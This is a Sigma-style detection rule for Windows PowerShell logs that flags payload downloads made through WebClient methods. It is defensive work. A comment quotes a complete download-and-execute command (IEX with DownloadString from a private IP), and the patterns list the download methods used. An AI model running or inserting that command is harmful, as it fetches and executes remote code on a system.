Payload downloaded via PowerShell

title: Payload downloaded via PowerShell
description: Detects scenarios where an attacker download a payload using PowerShell.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1059.001-PowerShell
- https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
- https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://unit42.paloaltonetworks.com/mallox-ransomware/
- https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell 
- attack.command_and_control
- attack.t1105 # Ingress Tool Transfer
author: mdecrevoisier
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
  selection_powershell_native:
    EventID: 800
    EventData|contains: 'WebClient'
    EventData|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    EventData|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains: 'WebClient'
    Payload|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    Payload|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains: 'WebClient'
    ScriptBlockText|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    ScriptBlockText|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- Scripts donwloading files
level: high